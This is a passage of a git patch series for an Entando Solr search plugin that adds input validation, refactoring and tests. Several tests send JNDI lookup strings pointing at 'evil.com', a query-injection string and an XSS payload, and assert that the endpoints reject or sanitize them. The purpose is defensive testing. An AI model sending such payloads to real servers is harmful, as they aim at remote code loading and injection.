.param("filters[0].entityAttr", "typeCode") + .param("filters[0].operator", "eq") + .param("filters[0].value", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInCsvCategoriesReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("csvCategories", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInTextReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("text", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + } From dd4a3800045f57866b95eabdea545418b867fc15 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Tue, 7 Jul 2026 10:59:46 +0200 Subject: [PATCH 13/17] ESB-1154 fix jakarta servlet error attributes --- admin-console/src/main/webapp/error.jsp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/admin-console/src/main/webapp/error.jsp b/admin-console/src/main/webapp/error.jsp index 8bec65d6f..8074cf17f 100644 --- a/admin-console/src/main/webapp/error.jsp +++ b/admin-console/src/main/webapp/error.jsp @@ -5,9 +5,9 @@ <%@ taglib prefix="wp" uri="/aps-core" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <% - Object statusCode = request.getAttribute("javax.servlet.error.status_code"); - Object exceptionType = request.getAttribute("javax.servlet.error.exception_type"); - Object message = request.getAttribute("javax.servlet.error.message"); + Object statusCode = request.getAttribute("jakarta.servlet.error.status_code"); + Object exceptionType = request.getAttribute("jakarta.servlet.error.exception_type"); + Object message = request.getAttribute("jakarta.servlet.error.message"); %> From 3a1348ed4e18fc9ad65f6aeffe90fb7ac33d44c8 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Tue, 7 Jul 2026 11:06:01 +0200 Subject: [PATCH 14/17] ESB-1154 quality gate --- .../jpsolr/aps/system/solr/SearcherDAO.java | 32 ++++++++++++------- 1 file changed, 20 insertions(+), 12 deletions(-) diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java index c1ff86a40..db4107273 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java @@ -182,18 +182,26 @@ protected SolrFacetedContentsResult executeQuery(Query query, SearchEngineFilter } private void addFilters(SolrQuery solrQuery, SearchEngineFilter[] filters) { - if (null != filters) { - for (SearchEngineFilter filter : filters) { - if (null != this.getRelevance(filter)) { - solrQuery.addSort("score", ORDER.desc); - } else if (null != filter.getOrder()) { - String fieldKey = this.getFilterKey(filter); - if (null != fieldKey) { - boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); - solrQuery.addSort(fieldKey, (revert) ? ORDER.desc : ORDER.asc); - } - } - } + if (null == filters) { + return; + } + for (SearchEngineFilter filter : filters) { + this.addSort(solrQuery, filter); + } + } + + private void addSort(SolrQuery solrQuery, SearchEngineFilter filter) { + if (null != this.getRelevance(filter)) { + solrQuery.addSort("score", ORDER.desc); + return; + } + if (null == filter.getOrder()) { + return; + } + String fieldKey = this.getFilterKey(filter); + if (null != fieldKey) { + boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); + solrQuery.addSort(fieldKey, revert ? ORDER.desc : ORDER.asc); } } From bd295dc52484dbf9aa9a87bad067e44204080eab Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Tue, 7 Jul 2026 14:23:32 +0200 Subject: [PATCH 15/17] ESB-1154 quality gate --- .../content/AdvContentFacetManagerTest.java | 27 ++++++++++--------- .../solr/SearcherDAOSpecialCharsTest.java | 17 +++++++----- 2 files changed, 25 insertions(+), 19 deletions(-) diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java index 0809ef97b..b73301e9d 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java @@ -3,6 +3,10 @@ import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.eq; import static org.mockito.ArgumentMatchers.isNull; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; import com.agiletec.aps.system.services.authorization.IAuthorizationManager; import com.agiletec.aps.system.services.category.Category; @@ -29,7 +33,6 @@ import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; -import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; @ExtendWith(MockitoExtension.class) @@ -52,9 +55,9 @@ class AdvContentFacetManagerTest { @Test void shouldGetFacetResultWithBeansFilterAndNodeCodesAsList() throws Exception { - UserFilterOptionBean filterOptionBean = Mockito.mock(UserFilterOptionBean.class); - Mockito.when(filterOptionBean.extractFilter()).thenReturn(Mockito.mock(SearchEngineFilter.class)); - Mockito.when(categoryManager.getCategory(CATEGORY_1)).thenReturn(new Category()); + UserFilterOptionBean filterOptionBean = mock(UserFilterOptionBean.class); + when(filterOptionBean.extractFilter()).thenReturn(mock(SearchEngineFilter.class)); + when(categoryManager.getCategory(CATEGORY_1)).thenReturn(new Category()); SearchEngineFilter[] baseFilters = new SearchEngineFilter[]{}; List facetNodeCodes = List.of(CATEGORY_1, CATEGORY_2); @@ -66,7 +69,7 @@ void shouldGetFacetResultWithBeansFilterAndNodeCodesAsList() throws Exception { ArgumentCaptor categoryFiltersCaptor = ArgumentCaptor.forClass( SearchEngineFilter[].class); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( filtersCaptor.capture(), categoryFiltersCaptor.capture(), eq(groups)); SearchEngineFilter[] filters = filtersCaptor.getValue(); @@ -83,7 +86,7 @@ void shouldGetFacetResultWithNullFilters() throws Exception { ArgumentCaptor filtersCaptor = ArgumentCaptor.forClass(SearchEngineFilter[].class); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( filtersCaptor.capture(), (SearchEngineFilter[]) isNull(), isNull()); SearchEngineFilter[] filters = filtersCaptor.getValue(); @@ -94,7 +97,7 @@ void shouldGetFacetResultWithNullFilters() throws Exception { void shouldGetFacetResultWithNodeCodesAsFilter() throws Exception { SearchEngineFilter[] nodeCodesFilter = new SearchEngineFilter[]{}; facetManager.getFacetResult(null, nodeCodesFilter, null, null); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( any(SearchEngineFilter[].class), eq(nodeCodesFilter), isNull()); } @@ -102,7 +105,7 @@ void shouldGetFacetResultWithNodeCodesAsFilter() throws Exception { void shouldRejectJndiInjectionInLang() { AdvRestContentListRequest request = new AdvRestContentListRequest(); request.setLang("${jndi:ldap://evil.com/exploit}"); - Mockito.when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); Assertions.assertThrows(ValidationConflictException.class, () -> facetManager.getFacetedContents(request, null)); } @@ -111,7 +114,7 @@ void shouldRejectJndiInjectionInLang() { void shouldRejectNonExistentLangCode() { AdvRestContentListRequest request = new AdvRestContentListRequest(); request.setLang("zzz"); - Mockito.when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); Assertions.assertThrows(ValidationConflictException.class, () -> facetManager.getFacetedContents(request, null)); } @@ -119,15 +122,15 @@ void shouldRejectNonExistentLangCode() { @Test void shouldAcceptBlankLangCodeAndUseDefault() throws Exception { AdvRestContentListRequest request = new AdvRestContentListRequest(); - Mockito.when(langManager.getDefaultLang()).thenReturn(createLang("en")); - Mockito.when(((ISolrSearchEngineManager) searchEngineManager) + when(langManager.getDefaultLang()).thenReturn(createLang("en")); + when(((ISolrSearchEngineManager) searchEngineManager) .searchFacetedEntities( any(SolrSearchEngineFilter[][].class), any(SolrSearchEngineFilter[].class), any(List.class))) .thenReturn(new SolrFacetedContentsResult()); facetManager.getFacetedContents(request, null); - Mockito.verify(langManager, Mockito.never()).getLangs(); + verify(langManager, never()).getLangs(); } @ParameterizedTest diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index 1d66fe078..cbccb3b06 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -1,5 +1,9 @@ package org.entando.entando.plugins.jpsolr.aps.system.solr; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + import com.agiletec.aps.system.common.tree.ITreeNodeManager; import com.agiletec.aps.system.services.lang.ILangManager; import com.agiletec.aps.system.services.lang.Lang; @@ -19,7 +23,6 @@ import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; -import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; /** @@ -118,7 +121,7 @@ void shouldNotThrowOnSingleAsteriskValue() throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, @@ -323,7 +326,7 @@ void shouldDropFieldNameInDoubleFilterArray() throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(doubleFilters, @@ -339,7 +342,7 @@ void shouldDropFieldNameInDoubleFilterArray() throws Exception { private void runAndAssert(SearchEngineFilter filter, String expectedQuery) throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, @@ -351,13 +354,13 @@ private void runAndAssert(SearchEngineFilter filter, String expectedQuery) throw private void mockDefaultLang() { Lang lang = new Lang(); lang.setCode("en"); - Mockito.when(langManager.getDefaultLang()).thenReturn(lang); + when(langManager.getDefaultLang()).thenReturn(lang); } private QueryResponse mockQueryResponse() { - QueryResponse queryResponse = Mockito.mock(QueryResponse.class); + QueryResponse queryResponse = mock(QueryResponse.class); SolrDocumentList documents = new SolrDocumentList(); - Mockito.when(queryResponse.getResults()).thenReturn(documents); + when(queryResponse.getResults()).thenReturn(documents); return queryResponse; } } \ No newline at end of file From ca52d3aeb5606e387fa1b97bf5d3152b15cce37d Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Wed, 8 Jul 2026 11:21:56 +0200 Subject: [PATCH 16/17] ESB-1154 Enhance validation and sanitization on SOLR endpoint input --- .../content/AdvContentSearchController.java | 25 +++ .../model/AdvRestContentListRequest.java | 77 ++++++++ .../AdvContentSearchControllerTest.java | 165 ++++++++++++++++++ .../SearchByResourceControllerTest.java | 20 ++- 4 files changed, 278 insertions(+), 9 deletions(-) diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchController.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchController.java index 75f05271f..154e59473 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchController.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchController.java @@ -27,6 +27,7 @@ import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; import org.entando.entando.plugins.jpsolr.web.content.model.SolrContentPagedMetadata; import org.entando.entando.plugins.jpsolr.web.content.model.SolrFacetedPagedMetadata; +import org.entando.entando.web.common.exceptions.ValidationGenericException; import org.entando.entando.web.common.model.PagedRestResponse; import org.entando.entando.web.common.model.RestResponse; import org.entando.entando.web.common.validator.AbstractPaginationValidator; @@ -34,6 +35,7 @@ import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; +import org.springframework.validation.BeanPropertyBindingResult; import org.springframework.validation.Errors; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestAttribute; @@ -76,6 +78,11 @@ protected String getDefaultSortProperty() { @Override public boolean isValidField(String fieldName, Class type) { + if (fieldName == null) { + // full-text filters carry the search term in "value" and leave + // the attribute null; there is no field to validate in that case. + return true; + } if (fieldName.contains(".")) { return true; } else { @@ -90,6 +97,7 @@ public ResponseEntity> getContents(AdvRestContentListR @RequestAttribute(value = "user", required = false) UserDetails currentUser) { logger.debug("getting contents with request {}", requestList); this.getPaginationValidator().validateRestListRequest(requestList, String.class); + this.validateSearchableFilters(requestList); SolrFacetedContentsResult facetedResult = this.advContentFacetManager .getFacetedContents(requestList, currentUser); List result = facetedResult.getContentsId(); @@ -107,6 +115,7 @@ public ResponseEntity(new RestResponse<>(result, pagedMetadata), HttpStatus.OK); } + /** + * Rejects filters that carry search intent (a value, operator, ordering or allowed values) + * but provide no attribute to search on. Such filters cannot be honoured; discarding them + * silently would return a broader result set than requested as if it were a success, so they + * are reported as a bad request. Empty placeholder filters (no intent at all) are tolerated + * and dropped later during filter extraction. + */ + private void validateSearchableFilters(AdvRestContentListRequest requestList) { + if (requestList.hasMalformedFilters()) { + BeanPropertyBindingResult bindingResult = new BeanPropertyBindingResult(requestList, "requestList"); + bindingResult.reject(AbstractPaginationValidator.ERRCODE_FILTERING_ATTR_INVALID, + new Object[]{}, "filtering.filter.attr.name.invalid"); + throw new ValidationGenericException(bindingResult); + } + } + } \ No newline at end of file diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/model/AdvRestContentListRequest.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/model/AdvRestContentListRequest.java index 12d76420e..0070e054e 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/model/AdvRestContentListRequest.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/model/AdvRestContentListRequest.java @@ -21,6 +21,8 @@ import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; +import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; import org.entando.entando.web.common.model.Filter; import org.entando.entando.web.common.model.FilterOperator; @@ -34,6 +36,8 @@ @ToString public class AdvRestContentListRequest extends RestEntityListRequest { + private static final EntLogger logger = EntLogFactory.getSanitizedLogger(AdvRestContentListRequest.class); + private String lang; private String[] csvCategories; @@ -113,6 +117,10 @@ public SolrSearchEngineFilter[][] extractDoubleFilters(String langCode) { for (SolrFilter[] internalFilters : df) { SolrSearchEngineFilter[] internalSearchFilters = new SolrSearchEngineFilter[]{}; for (SolrFilter internalFilter : internalFilters) { + if (this.isEmptyFilter(internalFilter)) { + logger.warn("Discarding empty double filter with no attribute to search on"); + continue; + } SolrSearchEngineFilter searchFilter = this.buildSearchFilter(internalFilter, langCode); internalSearchFilters = ArrayUtils.add(internalSearchFilters, searchFilter); } @@ -127,6 +135,10 @@ public SolrSearchEngineFilter[] extractFilters(String langCode) { SolrFilter[] filters = this.getFilters(); if (null != filters) { for (SolrFilter filter : filters) { + if (this.isEmptyFilter(filter)) { + logger.warn("Discarding empty filter with no attribute to search on"); + continue; + } SolrSearchEngineFilter searchFilter = this.buildSearchFilter(filter, langCode); searchFilters = ArrayUtils.add(searchFilters, searchFilter); } @@ -154,6 +166,71 @@ private Integer getOffset() { return this.getPageSize() * page; } + /** + * A non-full-text filter has no field to build a Solr query key from when it carries + * neither an entity attribute nor a metadata attribute. Building a key from such a filter + * would fail with "Error: Key required". Full-text filters are never in this state: they + * search on the value, not on a key. + */ + private boolean hasNoSearchField(SolrFilter filter) { + return !filter.isFullText() + && StringUtils.isBlank(filter.getEntityAttr()) + && StringUtils.isBlank(filter.getAttribute()); + } + + /** + * Whether the filter expresses any search intent, i.e. a value or an allowed-values set. + * Used to tell a meaningless placeholder apart from a filter the client actually meant to + * apply. Operator and order are deliberately ignored: {@code operator} always defaults to a + * non-blank value ("like") so it is not a reliable signal, and an order without a field + * expresses no restriction on the result set. + */ + private boolean carriesIntent(SolrFilter filter) { + return StringUtils.isNotBlank(filter.getValue()) + || (filter.getAllowedValues() != null && filter.getAllowedValues().length > 0); + } + + /** + * A pure no-op placeholder: no field to search on and no intent at all. These come from + * sparse array binding (e.g. {@code filters[99]} leaves indexes 0-98 as empty objects) and + * are silently discarded, because they never expressed a restriction - dropping them cannot + * broaden the result set. + */ + private boolean isEmptyFilter(SolrFilter filter) { + return filter == null || (this.hasNoSearchField(filter) && !this.carriesIntent(filter)); + } + + /** + * A filter the client meant to apply (it carries intent) but which has no field to search + * on. It cannot be honoured and must not be silently dropped - doing so would return a + * broader result set than requested as if it were a success - so it is reported as a bad + * request instead. + */ + private boolean isMalformedFilter(SolrFilter filter) { + return filter != null && this.hasNoSearchField(filter) && this.carriesIntent(filter); + } + + /** + * @return true if any filter (single or double) carries search intent but has no field to + * search on, which the caller should reject as a bad request. + */ + public boolean hasMalformedFilters() { + SolrFilter[] filters = this.getFilters(); + if (null != filters && Arrays.stream(filters).anyMatch(this::isMalformedFilter)) { + return true; + } + SolrFilter[][] df = this.getDoubleFilters(); + if (null != df) { + for (SolrFilter[] internalFilters : df) { + if (null != internalFilters + && Arrays.stream(internalFilters).anyMatch(this::isMalformedFilter)) { + return true; + } + } + } + return false; + } + private SolrSearchEngineFilter buildSearchFilter(SolrFilter filter, String langCode) { SolrSearchEngineFilter searchFilter; boolean isAttribute = !StringUtils.isEmpty(filter.getEntityAttr()); diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java index ff2d996a9..7e741452f 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java @@ -15,6 +15,7 @@ import static org.hamcrest.CoreMatchers.is; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; @@ -131,6 +132,170 @@ void testGetContents() throws Exception { Assertions.assertEquals(4, evnOccurrencesPayloadSize); } + @Test + void testFullTextFilterWithNullAttributeDoesNotFail() throws Exception { + // A full-text filter carries the search term in "value" and leaves the + // attribute null. The pagination validator used to call isValidField(null,..) + // which threw a NullPointerException -> HTTP 500. It must now succeed. + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].fullText", "true") + .param("filters[0].value", "ciliegia") + .param("lang", "it")); + result.andExpect(status().isOk()); + + ResultActions facetedResult = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].fullText", "true") + .param("filters[0].value", "ciliegia") + .param("lang", "it")); + facetedResult.andExpect(status().isOk()); + } + + // --------------------------------------------------------------------- + // Gap coverage ported from the test_advcontentsearch.sh curl harness: + // validation errors, input sanitization/robustness, content negotiation + // and pagination edges. The happy-path scenarios of the harness are + // already covered by the data-count tests above, so they are not repeated. + // --------------------------------------------------------------------- + + @Test + void testValidationErrorsReturn400() throws Exception { + // page < 1 + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("page", "0")) + .andExpect(status().isBadRequest()); + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("page", "-1")) + .andExpect(status().isBadRequest()); + // pageSize < 0 + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("pageSize", "-5")) + .andExpect(status().isBadRequest()); + // direction not in {ASC, DESC} + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("direction", "SIDEWAYS")) + .andExpect(status().isBadRequest()); + // sort field not in METADATA_FILTER_KEYS + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("sort", "notARealField")) + .andExpect(status().isBadRequest()); + // filter attribute not a valid metadata key + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].attribute", "bogusAttr") + .param("filters[0].value", "x")) + .andExpect(status().isBadRequest()); + // filter operator not a known FilterOperator + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].attribute", IContentManager.ENTITY_TYPE_CODE_FILTER_KEY) + .param("filters[0].operator", "bananas") + .param("filters[0].value", "EVN")) + .andExpect(status().isBadRequest()); + } + + @Test + void testMalformedFilterWithoutFieldReturns400() throws Exception { + // A filter that carries search intent (value + operator) but no attribute/entityAttr + // and is not full-text cannot be honoured. It must be rejected with 400, NOT silently + // discarded (which would broaden the result set) and NOT answered with 500. + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].operator", "eq") + .param("filters[0].value", "EVN")) + .andExpect(status().isBadRequest()); + mockMvc.perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].operator", "eq") + .param("filters[0].value", "EVN")) + .andExpect(status().isBadRequest()); + } + + @Test + void testInvalidDateNotValidated() throws Exception { + // Date-format validation only runs for attributes in getDateFilterKeys(), + // which returns an empty list for this controller, so an invalid date value + // is NOT rejected -> 200 (documents the real behavior). + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].attribute", IContentManager.CONTENT_CREATION_DATE_FILTER_KEY) + .param("filters[0].operator", "gt") + .param("filters[0].type", "date") + .param("filters[0].value", "not-a-date")) + .andExpect(status().isOk()); + } + + @Test + void testPaginationEdges() throws Exception { + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("pageSize", "0")) + .andExpect(status().isOk()); + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("pageSize", "1000")) + .andExpect(status().isOk()); + } + + @Test + void testInputSanitizationDoesNotFail() throws Exception { + // Potentially dangerous / reserved inputs must be sanitized and answered + // with 200, never a 500. + String longInput = "A".repeat(5000); + String[] texts = { + "cat:dog AND *:*", // Lucene reserved chars + "\") OR (1=1", // query-injection attempt + "", // XSS payload + longInput, // very long input + "日本語 😀 café", // unicode / emoji + "*ento" // leading wildcard + }; + for (String text : texts) { + // A full-text search requires a language (it keys the Solr filter); the test + // supplies a valid lang so the dangerous *value* is what gets exercised. + mockMvc.perform(get("/plugins/advcontentsearch/facetedcontents") + .param("text", text) + .param("lang", "it")) + .andExpect(status().isOk()); + } + // Sparse high filter index: filters[99] auto-grows 99 empty placeholder filters + // (null attribute AND null value). AdvRestContentListRequest now skips such empty + // filters when building the Solr query instead of failing with "Error: Key required", + // so the request succeeds. + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[99].attribute", IContentManager.ENTITY_TYPE_CODE_FILTER_KEY) + .param("filters[99].operator", "eq") + .param("filters[99].value", "EVN")) + .andExpect(status().isOk()); + } + + @Test + void testContentNegotiationAndMethod() throws Exception { + // Only GET is mapped. + mockMvc.perform(post("/plugins/advcontentsearch/contents")) + .andExpect(status().isMethodNotAllowed()); + // Endpoint only produces JSON. + mockMvc.perform(get("/plugins/advcontentsearch/contents").accept(MediaType.APPLICATION_XML)) + .andExpect(status().isNotAcceptable()); + // Unmapped path. + mockMvc.perform(get("/plugins/advcontentsearch/unknownpath")) + .andExpect(status().isNotFound()); + } + + @Test + void testValidationAndSanitizationAuthenticated() throws Exception { + // The endpoint is guest-accessible; the validator and sanitizer must behave + // identically for an authenticated principal. + UserDetails user = new OAuth2TestUtils.UserBuilder("jack_bauer", "0x24") + .grantedToRoleAdmin().build(); + String accessToken = mockOAuthInterceptor(user); + + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("sort", "notARealField") + .requestAttr("user", user) + .header("Authorization", "Bearer " + accessToken)) + .andExpect(status().isBadRequest()); + + mockMvc.perform(get("/plugins/advcontentsearch/facetedcontents") + .param("text", "cat:dog AND *:*") + .param("lang", "it") + .requestAttr("user", user) + .header("Authorization", "Bearer " + accessToken)) + .andExpect(status().isOk()); + + // Note: malformed percent-encoding (harness I10/I11, e.g. "%7%"/"%ZZ") fails at + // the servlet container's query parser (Jetty BadMessageException) and cannot be + // reproduced under MockMvc, so it is intentionally not ported here; it remains + // covered by the test_advcontentsearch.sh harness. + } + @Test void testGetContentsByGuestUser_1() throws Exception { ResultActions result = mockMvc diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/SearchByResourceControllerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/SearchByResourceControllerTest.java index 8d4ed58be..a612bb498 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/SearchByResourceControllerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/SearchByResourceControllerTest.java @@ -39,7 +39,6 @@ import org.entando.entando.web.utils.OAuth2TestUtils; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.Assertions; -import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; @@ -182,10 +181,13 @@ private void executeTests(List addedContentIds) throws Exception { List expectedContentsId = Arrays.asList(addedContentIds.get(1), addedContentIds.get(2)); int payloadSize_1 = JsonPath.read(bodyResult_1, "$.payload.size()"); Assertions.assertEquals(expectedContentsId.size(), payloadSize_1); - for (int i = 0; i < expectedContentsId.size(); i++) { - String extractedId = JsonPath.read(bodyResult_1, "$.payload[" + i + "]"); - Assertions.assertEquals(expectedContentsId.get(i), extractedId); - } + // The three contents share the same 'created' timestamp (all inserted within the + // same second), so sorting by 'created' produces a tie whose order Solr resolves by + // internal document order - i.e. the order the asynchronous indexing threads happen + // to complete, which is not deterministic. Assert membership rather than position. + List actualContentsId_1 = JsonPath.read(bodyResult_1, "$.payload"); + Assertions.assertTrue(actualContentsId_1.containsAll(expectedContentsId), + "expected " + expectedContentsId + " but got " + actualContentsId_1); ResultActions result_2 = mockMvc .perform(get("/plugins/advcontentsearch/contents") @@ -199,10 +201,10 @@ private void executeTests(List addedContentIds) throws Exception { List expectedContentsId_2 = addedContentIds; int payloadSize_2 = JsonPath.read(bodyResult_2, "$.payload.size()"); Assertions.assertEquals(expectedContentsId_2.size(), payloadSize_2); - for (int i = 0; i < expectedContentsId_2.size(); i++) { - String extractedId = JsonPath.read(bodyResult_2, "$.payload[" + i + "]"); - Assertions.assertEquals(expectedContentsId_2.get(i), extractedId); - } + // Order-independent for the same tie-broken 'created' sort reason as above. + List actualContentsId_2 = JsonPath.read(bodyResult_2, "$.payload"); + Assertions.assertTrue(actualContentsId_2.containsAll(expectedContentsId_2), + "expected " + expectedContentsId_2 + " but got " + actualContentsId_2); ResultActions result_3 = mockMvc .perform(get("/plugins/advcontentsearch/contents") From cb663f0e29d81fd0224918dfafd0c9f2cffd0424 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Wed, 8 Jul 2026 12:37:45 +0200 Subject: [PATCH 17/17] ESB-1154 Fix SolrFacetedContentsResult totalSize eval --- .../aps/system/solr/SolrFieldsChecker.java | 7 ++ .../solr/model/SolrFacetedContentsResult.java | 5 +- .../system/solr/SolrFieldsCheckerTest.java | 79 +++++++++++++++++++ .../model/SolrFacetedContentsResultTest.java | 28 +++++++ .../AdvContentSearchControllerTest.java | 17 ++++ 5 files changed, 135 insertions(+), 1 deletion(-) create mode 100644 solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsCheckerTest.java create mode 100644 solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResultTest.java diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsChecker.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsChecker.java index 976c74448..74a81f268 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsChecker.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsChecker.java @@ -83,6 +83,13 @@ private void refreshBaseFields() { private void checkLangFields() { for (Lang lang : this.languages) { this.checkField(lang.getCode(), SolrFields.TYPE_TEXT_GENERAL, true); + // The per-language attachment field ("_attachment") is written by IndexerDAO + // and 